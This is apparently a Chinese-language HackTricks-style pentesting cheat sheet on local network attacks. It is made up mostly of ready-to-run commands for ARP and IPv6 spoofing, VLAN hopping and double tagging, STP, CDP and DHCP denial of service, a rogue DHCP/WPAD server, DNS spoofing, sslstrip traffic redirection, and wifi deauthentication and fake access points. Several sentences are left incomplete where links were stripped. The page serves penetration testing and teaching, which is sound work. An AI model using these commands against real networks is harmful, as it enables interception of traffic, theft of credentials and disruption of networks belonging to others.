nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

有两种选项来扫描 UDP 端口:

  • 发送一个 UDP 数据包 并检查响应中的 ICMP 不可达 如果端口是 关闭(在一些情况下 ICMP 将会被 过滤,因此您将无法收到端口是关闭还是打开的信息)。

  • 发送一个 格式化数据报 来引发一个 服务 的响应(例如,DNS、DHCP、TFTP 等,如在 nmap-payloads 中列出的)。如果您收到一个 响应,那么端口是 打开。

Nmap 将使用 "-sV" 混合 这两种选项(UDP 扫描非常慢),但请注意 UDP 扫描比 TCP 扫描慢:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTP扫描

SCTP(流控制传输协议)被设计用于与TCP(传输控制协议)和UDP(用户数据报协议)一起使用。其主要目的是在IP网络上便捷地传输电话数据,反映了信令系统7(SS7)中许多可靠性特性。SCTP是SIGTRAN协议系列的核心组件,旨在在IP网络上传输SS7信号。

各种操作系统(如IBM AIX、Oracle Solaris、HP-UX、Linux、Cisco IOS和VxWorks)提供对SCTP的支持,表明它在电信和网络领域得到了广泛接受和应用。

nmap提供了两种不同的SCTP扫描:-sY_和-sZ_

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDS和IPS规避

更多nmap选项

揭示内部IP地址

配置错误的路由器、防火墙和网络设备有时会使用非公共源地址响应网络探测。可以使用tcpdump来识别测试过程中从私有地址接收的数据包。具体来说,在Kali Linux上,可以在从公共互联网访问的eth2接口上捕获数据包。需要注意的是,如果您的设置位于NAT或防火墙后,这些数据包很可能会被过滤掉。

tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

嗅探

通过查看捕获的帧和数据包,您可以了解IP范围、子网大小、MAC地址和主机名等细节。如果网络配置不正确或交换机架构压力过大,攻击者可以通过被动网络嗅探捕获敏感材料。

如果交换式以太网网络配置正确,您只会看到广播帧和发送到您MAC地址的数据。

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

一个人也可以通过Wireshark作为GUI实时在SSH会话中从远程计算机捕获数据包。

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

Bettercap

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

显而易见。

捕获凭证

局域网攻击

ARP欺骗

ARP欺骗是指发送伪造的ARP响应,指示某台机器的IP具有我们设备的MAC地址。然后,受害者将更改ARP表,并在每次想要联系伪造IP时与我们的机器联系。

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

Arpspoof

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flood攻击 - CAM表溢出

通过发送大量具有不同源MAC地址的数据包来溢出交换机的CAM表。当CAM表已满时,交换机会开始表现得像集线器一样(广播所有流量)。

macof -i <interface>

802.1Q VLAN / DTP 攻击

动态干线

动态干线协议 (DTP) 被设计为一种链路层协议,用于促进干线的自动系统,允许交换机自动选择端口进入干线模式 (Trunk) 或非干线模式。部署 DTP 通常被视为网络设计不佳的指标,强调只在必要时手动配置干线并确保适当的文档记录的重要性。

默认情况下,交换机端口设置为动态自动模式,这意味着如果邻近交换机发出提示,它们将准备好启动干线。当渗透测试人员或攻击者连接到交换机并发送 DTP 欲望帧时,会出现安全问题,迫使端口进入干线模式。此操作使攻击者能够通过 STP 帧分析枚举 VLAN,并通过设置虚拟接口来规避 VLAN 分割。

如果发现网络漏洞,可以使用 Yersinia 工具通过 DTP 协议“启用干线”,从而观察来自所有 VLAN 的数据包。

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode
sudo python3 DTPHijacking.py --interface eth0

我想指出Access/Desirable (0x03)表示DTP帧是Desirable类型,告诉端口切换到Trunk模式。而802.1Q/802.1Q (0xa5)表示802.1Q封装类型。

通过分析STP帧,我们了解到VLAN 30和VLAN 60的存在。

攻击特定VLAN

一旦您知道VLAN ID和IP值,您可以配置虚拟接口以攻击特定VLAN。 如果DHCP不可用,则使用_ifconfig_设置静态IP地址。

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

自动 VLAN 跳跃器

双重标记

如果攻击者知道受害主机的MAC、IP 和 VLAN ID 的值,他可以尝试使用其指定的 VLAN 和受害者的 VLAN 双重标记一个帧 并发送一个数据包。由于受害者无法与攻击者连接回来,所以攻击者的最佳选择是通过 UDP 通信到可以执行一些有趣操作的协议(如 SNMP)。

攻击者的另一个选择是发起TCP 端口扫描,欺骗攻击者控制的 IP 并可被受害者访问(可能通过互联网)。然后,攻击者可以嗅探他拥有的第二个主机是否接收到来自受害者的一些数据包。

要执行此攻击,您可以使用 scapy:pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

侧向 VLAN 分割绕过

如果您可以访问直接连接的交换机,则可以在网络中绕过 VLAN 分割。只需将端口切换到干线模式(也称为干线),使用目标 VLAN 的 ID 创建虚拟接口,并配置 IP 地址。您可以尝试动态请求地址(DHCP),也可以静态配置。这取决于具体情况。

第 3 层私有 VLAN 绕过

在某些环境中,例如访客无线网络,实施了**端口隔离(也称为私有 VLAN)**设置,以防止连接到无线接入点的客户端直接相互通信。然而,已经发现了一种可以规避这些隔离措施的技术。该技术利用网络 ACL 的缺失或其不正确配置,使 IP 数据包能够通过路由器路由到同一网络上的另一个客户端。

攻击是通过创建一个携带目标客户端 IP 地址但带有路由器 MAC 地址的数据包来执行的。这会导致路由器错误地将数据包转发到目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。

攻击的关键步骤:

  1. 构造数据包: 特别构造一个数据包,其中包含目标客户端的 IP 地址,但带有路由器的 MAC 地址。

  2. 利用路由器行为: 发送构造的数据包到路由器,由于配置,路由器将数据包重定向到目标客户端,绕过私有 VLAN 设置提供的隔离。

VTP 攻击

VTP(VLAN 干线协议)集中管理 VLAN。它利用修订号来维护 VLAN 数据库的完整性;任何修改都会增加此数字。交换机采用具有较高修订号的配置,更新其自己的 VLAN 数据库。

VTP 域角色

  • VTP 服务器: 管理 VLAN—创建、删除、修改。向域成员广播 VTP 公告。

  • VTP 客户端: 接收 VTP 公告以同步其 VLAN 数据库。此角色受限于本地 VLAN 配置修改。

  • VTP 透明: 不参与 VTP 更新,但转发 VTP 公告。不受 VTP 攻击影响,保持修订号恒定为零。

VTP 广告类型

  • 摘要广告: 每 300 秒由 VTP 服务器广播,携带基本域信息。

  • 子集广告: 在 VLAN 配置更改后发送。

  • 广告请求: 由 VTP 客户端发出以请求摘要广告,通常是响应于检测到更高配置修订号。

VTP 漏洞仅通过干线端口可利用,因为 VTP 公告仅通过它们传播。DTP 攻击后的情景可能转向 VTP。工具如 Yersinia 可以促进 VTP 攻击,旨在清除 VLAN 数据库,有效地干扰网络。

注意:此讨论涉及 VTP 版本 1(VTPv1)。

%% yersinia -G # Launch Yersinia in graphical mode ```

STP 攻击

如果您无法在接口上捕获 BPDU 帧,则很可能无法成功进行 STP 攻击。

STP BPDU DoS

通过发送大量的 BPDUs TCP(拓扑更改通知)或 Conf(在创建拓扑时发送的 BPDU)来使交换机超载并停止正常工作。

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP 攻击

当发送 TCP 时,交换机的 CAM 表将在 15 秒内被删除。然后,如果持续发送这种类型的数据包,CAM 表将不断重新启动(或每 15 秒一次),当重新启动时,交换机的行为类似于集线器。

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

攻击者模拟交换机的行为,成为网络的STP根。然后,更多数据将通过他传递。当您连接到两个不同的交换机时,这是很有趣的。 这是通过发送BPDUs CONF数据包来实现的,其中指定优先级值小于实际根交换机的优先级。

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

如果攻击者连接到2个交换机,他可以成为新树的根,这两个交换机之间的所有流量都将通过他传递(将执行中间人攻击)。

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP 攻击

思科发现协议(CDP)对于思科设备之间的通信至关重要,使它们能够识别彼此并共享配置详细信息。

被动数据收集

CDP 被配置为通过所有端口广播信息,这可能导致安全风险。攻击者连接到交换机端口后,可以部署网络嗅探器,如Wireshark、tcpdump 或 Yersinia。这种行为可能会泄露有关网络设备的敏感数据,包括其型号和运行的 Cisco IOS 版本。攻击者随后可能针对已识别的 Cisco IOS 版本中的特定漏洞进行攻击。

引发 CDP 表洪泛

一种更具侵略性的方法是通过超载交换机的内存,伪装成合法的思科设备,发动拒绝服务(DoS)攻击。以下是使用 Yersinia 发起此类攻击的命令序列,Yersinia 是一款专为测试设计的网络工具:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

在这种攻击中,交换机的 CPU 和 CDP 邻居表负担过重,通常会导致所谓的**“网络瘫痪”**,因为资源消耗过多。

CDP 冒充攻击

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

VoIP 攻击和 VoIP Hopper 工具

VoIP 电话越来越多地与物联网设备集成,提供诸如通过特殊电话号码解锁门或控制恒温器等功能。然而,这种集成可能带来安全风险。

VoIP Hopper 提供了三种 Cisco Discovery Protocol (CDP) 的模式:

  1. Sniff Mode (-c 0):分析网络数据包以识别 VLAN ID。

  2. Spoof Mode (-c 1):生成模仿实际 VoIP 设备数据包的自定义数据包。

  3. Spoof with Pre-made Packet Mode (-c 2):发送与特定 Cisco IP 电话型号相同的数据包。

速度最快的首选模式是第三种。它需要指定:

  • 攻击者的网络接口(-i 参数)。

  • 被模拟的 VoIP 设备的名称(-E 参数),遵循 Cisco 命名格式(例如,SEP 后跟 MAC 地址)。

在企业设置中,要模仿现有的 VoIP 设备,可以:

  • 检查电话上的 MAC 标签。

  • 浏览电话的显示设置以查看型号信息。

  • 将 VoIP 设备连接到笔记本电脑,并使用 Wireshark 观察 CDP 请求。

执行该工具的第三种模式的示例命令可能是:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP 攻击

枚举

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

针对 DHCP 服务器可以执行两种类型的 DoS 攻击。第一种是模拟足够多的虚假主机以使用所有可能的 IP 地址。 只有在您能够看到 DHCP 服务器的响应并完成协议(Discover(计算机)--> Offer(服务器)--> Request(计算机)--> ACK(服务器))时,此攻击才会生效。例如,这在Wifi 网络中是不可能的。

执行 DHCP DoS 的另一种方法是发送一个使用每个可能的 IP 作为源代码的 DHCP-RELEASE 数据包。然后,服务器会认为每个人都已经完成了对该 IP 的使用。

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

您可以使用上述的DoS攻击来强制客户端在环境中获取新的租约,并耗尽合法服务器使其无法响应。因此,当合法服务器尝试重新连接时,您可以提供下一个攻击中提到的恶意数值。

设置恶意数值

可以使用位于/usr/share/responder/DHCP.py的DHCP脚本设置一个恶意的DHCP服务器。这对于网络攻击很有用,比如通过将流量重定向到恶意服务器来捕获HTTP流量和凭据。然而,设置一个恶意的网关效果较差,因为它只允许捕获客户端的出站流量,无法获取真实网关的响应。相反,建议设置一个恶意的DNS或WPAD服务器以进行更有效的攻击。

以下是配置恶意DHCP服务器的命令选项:

  • 我们的IP地址(网关广告):使用-i 10.0.0.100将您的机器IP作为网关进行广告。

  • 本地DNS域名:可选地,使用-d example.org设置本地DNS域名。

  • 原始路由器/网关IP:使用-r 10.0.0.1指定合法路由器或网关的IP地址。

  • 主DNS服务器IP:使用-p 10.0.0.100设置您控制的恶意DNS服务器的IP地址。

  • 次要DNS服务器IP:可选地,使用-s 10.0.0.1设置次要DNS服务器IP。

  • 本地网络的子网掩码:使用-n 255.255.255.0定义本地网络的子网掩码。

  • 用于DHCP流量的接口:使用-I eth1在特定网络接口上监听DHCP流量。

  • WPAD配置地址:使用-w “http://10.0.0.100/wpad.dat”设置WPAD配置的地址,有助于拦截Web流量。

  • 欺骗默认网关IP:包括-S来欺骗默认网关IP地址。

  • 响应所有DHCP请求:包括-R使服务器响应所有DHCP请求,但请注意这会产生噪音并可能被检测到。

通过正确使用这些选项,可以建立一个恶意的DHCP服务器有效地拦截网络流量。

# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R

EAP攻击

以下是针对802.1X实施可以使用的攻击策略:

  • 通过EAP进行主动暴力破解密码

  • 利用恶意EAP内容攻击RADIUS服务器 **(利用漏洞)

  • 捕获EAP消息并离线破解密码(EAP-MD5和PEAP)

  • 强制使用EAP-MD5身份验证绕过TLS证书验证

  • 在使用集线器或类似设备进行身份验证时注入恶意网络流量

如果攻击者位于受害者和认证服务器之间,他可以尝试降级(如果必要)认证协议至EAP-MD5,并捕获认证尝试。然后,他可以使用暴力破解:

eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt

FHRP (GLBP & HSRP) 攻击

FHRP(First Hop Redundancy Protocol)是一类旨在创建热备份路由系统的网络协议。通过FHRP,物理路由器可以组合成单个逻辑设备,提高容错能力并帮助分担负载。

思科系统工程师开发了两种FHRP协议,GLBP和HSRP。

RIP

已知存在三个版本的路由信息协议(RIP):RIP、RIPv2和RIPng。通过UDP使用端口520向对等方发送数据报,RIP和RIPv2,而通过IPv6组播向UDP端口521广播数据报,RIPng。RIPv2引入了MD5认证支持。另一方面,RIPng不包含原生认证,而是依赖IPv6中的可选IPsec AH和ESP头。

  • RIP和RIPv2: 通过端口520的UDP数据报进行通信。

  • RIPng: 利用UDP端口521通过IPv6组播广播数据报。

请注意,RIPv2支持MD5认证,而RIPng不包含原生认证,依赖IPv6中的IPsec AH和ESP头。

EIGRP 攻击

EIGRP(增强内部网关路由协议)是一种动态路由协议。它是一种距离矢量协议。如果没有认证和被动接口配置,入侵者可以干扰EIGRP路由并导致路由表污染。此外,EIGRP网络(换句话说,自治系统)是扁平的,没有分段成任何区域。如果攻击者注入路由,这条路由很可能会在自治系统中传播。

要攻击EIGRP系统需要与合法的EIGRP路由器建立邻居关系,这打开了许多可能性,从基本的侦察到各种注入。

OSPF

在开放最短路径优先(OSPF)协议中,通常使用MD5认证来确保路由器之间的安全通信。然而,这种安全措施可以通过Loki和John the Ripper等工具来破解。这些工具能够捕获和破解MD5哈希,暴露认证密钥。一旦获得该密钥,就可以用于引入新的路由信息。为了配置路由参数并建立受损密钥,分别使用 Injection 和 Connection 选项卡。

  • 捕获和破解MD5哈希: 用于此目的的工具包括Loki和John the Ripper。

  • 配置路由参数: 通过 Injection 选项卡完成。

  • 设置受损密钥: 密钥在 Connection 选项卡下配置。

其他通用工具和资源

欺骗

攻击者通过发送虚假的DHCP响应配置新网络成员的所有网络参数(网关、IP、DNS)。

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP欺骗

ICMP重定向

ICMP重定向是指发送一种ICMP数据包,类型为1,代码为5,表明攻击者是到达某个IP地址的最佳路径。然后,当受害者想要联系该IP时,数据包会通过攻击者发送。

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS欺骗

攻击者将解析受害者请求的一些(或全部)域名。

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

使用dnsmasq配置自己的DNS

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

本地网关

通常存在多条通往系统和网络的路由。在构建本地网络中的MAC地址列表后,使用 gateway-finder.py 来识别支持IPv4转发的主机。

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

在 DNS 查询失败时,Microsoft 系统依赖于链路本地多播名称解析 (LLMNR) 和NetBIOS 名称服务 (NBT-NS) 来进行本地主机解析。同样,Apple Bonjour 和Linux 零配置 实现利用多播 DNS (mDNS) 来发现网络中的系统。由于这些协议的非身份验证性质以及它们通过 UDP 广播消息进行操作,攻击者可以利用它们将用户重定向到恶意服务。

浏览器通常使用Web 代理自动发现 (WPAD) 协议来自动获取代理设置。这涉及从服务器获取配置详细信息,具体来说是通过 URL,如 "http://wpad.example.org/wpad.dat"。客户端发现此服务器可以通过各种机制实现:

  • 通过 DHCP,其中通过使用特殊代码 252 条目来促进发现。

  • 通过 DNS,这涉及在本地域中搜索标记为 wpad 的主机名。

  • 通过 Microsoft LLMNR 和 NBT-NS,这是在 DNS 查询不成功的情况下使用的后备机制。

IPv6 邻居欺骗

这种攻击与 ARP 欺骗非常相似,但是在 IPv6 世界中。您可以让受害者认为网关的 IPv6 具有攻击者的 MAC 地址。

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

IPv6路由器通告欺骗/洪泛

一些操作系统默认配置为从网络中发送的RA数据包中获取网关。要将攻击者声明为IPv6路由器,您可以使用:

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

IPv6 DHCP欺骗

默认情况下,一些操作系统尝试通过读取网络中的DHCPv6数据包来配置DNS。然后,攻击者可以发送一个DHCPv6数据包来将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP(伪造页面和JS代码注入)

互联网攻击

sslStrip

基本上,这种攻击的作用是,如果用户试图访问一个重定向到****HTTPS版本的HTTP页面。sslStrip将会与客户端保持一个HTTP连接,与服务器保持一个HTTPS连接,这样它就能够以明文方式嗅探连接。

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

sslStrip+和dns2proxy用于绕过HSTS

sslStrip+和dns2proxy与sslStrip的区别在于,它们会将例如_www.facebook.com_ 重定向到wwww.facebook.com(注意额外的“w”),并将该域的地址设置为攻击者IP。这样,客户端将连接到_wwww.facebook.com_(攻击者),但在幕后sslstrip+将通过https与www.facebook.com 保持真实连接。

TODO: easy-creds, evilgrade, metasploit, factory

在端口上进行TCP监听

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

在端口上进行 TCP + SSL 监听

生成密钥和自签名证书

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

使用证书进行监听

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

使用证书监听并重定向到主机

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

有时,如果客户端检查CA是否有效,您可以提供由CA签名的其他主机名的证书。 另一个有趣的测试是提供请求主机名但自签名的证书。

其他要测试的内容包括尝试使用非有效CA签署证书的有效证书。或者使用有效的公钥,强制使用诸如Diffie Hellman之类的算法(不需要使用真实私钥解密任何内容),当客户端请求真实私钥的探测(如哈希)时,发送一个虚假的探测,并期望客户端不会检查这一点。

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

主动发现笔记

请注意,当向一个没有请求端口的设备发送UDP数据包时,会发送一个ICMP(端口不可达)。

ARP 发现

ARP数据包用于发现网络内正在使用的IP地址。计算机必须为每个可能的IP地址发送一个请求,只有正在使用的IP地址才会响应。

mDNS(多播DNS)

Bettercap发送一个MDNS请求(每X毫秒一次),请求 _services_.dns-sd._udp.local,通常会回应此请求的机器。然后,它只搜索回应“services”的机器。

工具

  • Avahi-browser(--all)

  • Bettercap(net.probe.mdns)

  • Responder

NBNS(NetBios名称服务器)

Bettercap向端口137/UDP广播数据包,请求名称为“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。

SSDP(简单服务发现协议)

Bettercap广播SSDP数据包,搜索各种服务(UDP端口1900)。

WSD(Web服务发现)

Bettercap广播WSD数据包,搜索服务(UDP端口3702)。

参考资料

  • 网络安全评估:了解您的网络(第3版)

  • 实用物联网黑客攻击指南:Fotios Chantzis,Ioannis Stais,Paulino Calderon,Evangelos Deirmentzoglou,Beau Wood著

通常会发现各种类型的ICMP数据包被过滤。因此,您可以做的就是尝试查找开放的端口来检查主机是否在线。每台主机有65535个端口,因此,如果您有一个“大”范围,您无法测试每个主机的每个端口是否开放,这将花费太多时间。 因此,您需要一个快速端口扫描工具()和一个常用端口列表:

在此之前提出的nmap命令将测试**/24范围内每个主机的前1000个UDP端口**,但即使如此,这将花费**>20分钟**。如果需要更快的结果,您可以使用:./udp-proto-scanner.pl 199.66.11.53/24。这将向它们的预期端口发送这些UDP探针(对于/24范围,这将只需1分钟):DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

请注意,(TCP/HTTP/UDP/SCTP端口发现)中评论的技术也可以在这里应用。 但是,由于您与其他主机在同一网络中,您可以做更多的事情:

请注意,在“从外部发现主机”中评论的技术()也可以应用在这里。 但是,由于您与其他主机在同一网络中,您可以做更多的事情:

您可以使用类似的工具来从pcap文件或实时接口中解析凭证。

许多交换机默认情况下存在 DTP,对手可以利用这一点模仿交换机的行为,从而访问所有 VLAN 中的流量。脚本 用于监视接口,显示交换机处于默认、干线、动态、自动或访问模式中的哪种状态,后者是唯一免疫 VLAN 跳跃攻击的配置。该工具评估了交换机的漏洞状态。

要枚举VLAN,也可以使用脚本生成DTP Desirable帧。切勿在任何情况下中断脚本。它每三秒注入一个DTP Desirable。交换机上动态创建的干道通道只能存活五分钟。五分钟后,干道会断开连接。

讨论的攻击动态干线和创建虚拟接口以及发现其他 VLAN 中的主机是由工具自动执行的:

您也可以使用。请确保使用scapy/contrib软件包进行安装。

该工具 旨在在各种环境中模拟 VoIP 电话(Cisco、Avaya、Nortel、Alcatel-Lucent)。它使用诸如 CDP、DHCP、LLDP-MED 和 802.1Q ARP 等协议来发现语音网络的 VLAN ID。

更自动化的方法是使用工具

允许您实现支持BGP、OSPF、EIGRP、RIP和其他协议的虚拟路由器。您只需在攻击者系统上部署它,实际上可以假装成路由域中的合法路由器。

具有拦截EIGRP(增强内部网关路由协议)广播的功能。它还允许注入数据包,可用于更改路由配置。

:用于扫描网络流量并查找漏洞的工具

您可以在找到有关网络攻击的更多信息。

查看。

您可以使用 Responder 模拟被主机搜索的服务,发送虚假响应。 阅读更多关于的信息。

工具 Responder 利用此协议充当恶意 WPAD 服务器。它使用 DHCP、DNS、LLMNR 和 NBT-NS 来误导客户端连接到它。要深入了解如何使用 Responder 模拟服务,请查看。

您可以在网络中提供不同的服务,试图欺骗用户输入一些明文凭据。有关此攻击的更多信息请参阅。

更多信息。

这种技术的目标是避开HSTS,因为_wwww.facebook.com_ 不会保存在浏览器的缓存中,因此浏览器将被欺骗在HTTP中执行facebook身份验证。 请注意,为了执行此攻击,受害者必须尝试最初访问而不是https。这可以通过修改http页面中的链接来完成。

更多信息,和。

sslStrip或sslStrip+不再起作用。这是因为浏览器中预先保存了HSTS规则,因此即使用户第一次访问“重要”域,也会通过HTTPS访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志 因此,之前的 wwww.facebook.com 示例将不再起作用,因为 facebook.com 使用带有includeSubdomains的HSTS。

漏洞赏金提示:注册Intigriti,一个由黑客创建的高级漏洞赏金平台!立即加入我们 ,开始赚取高达**$100,000**的赏金!

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

如果您想在HackTricks中看到您的公司广告或下载PDF版本,请查看!

获取

发现,我们的独家系列

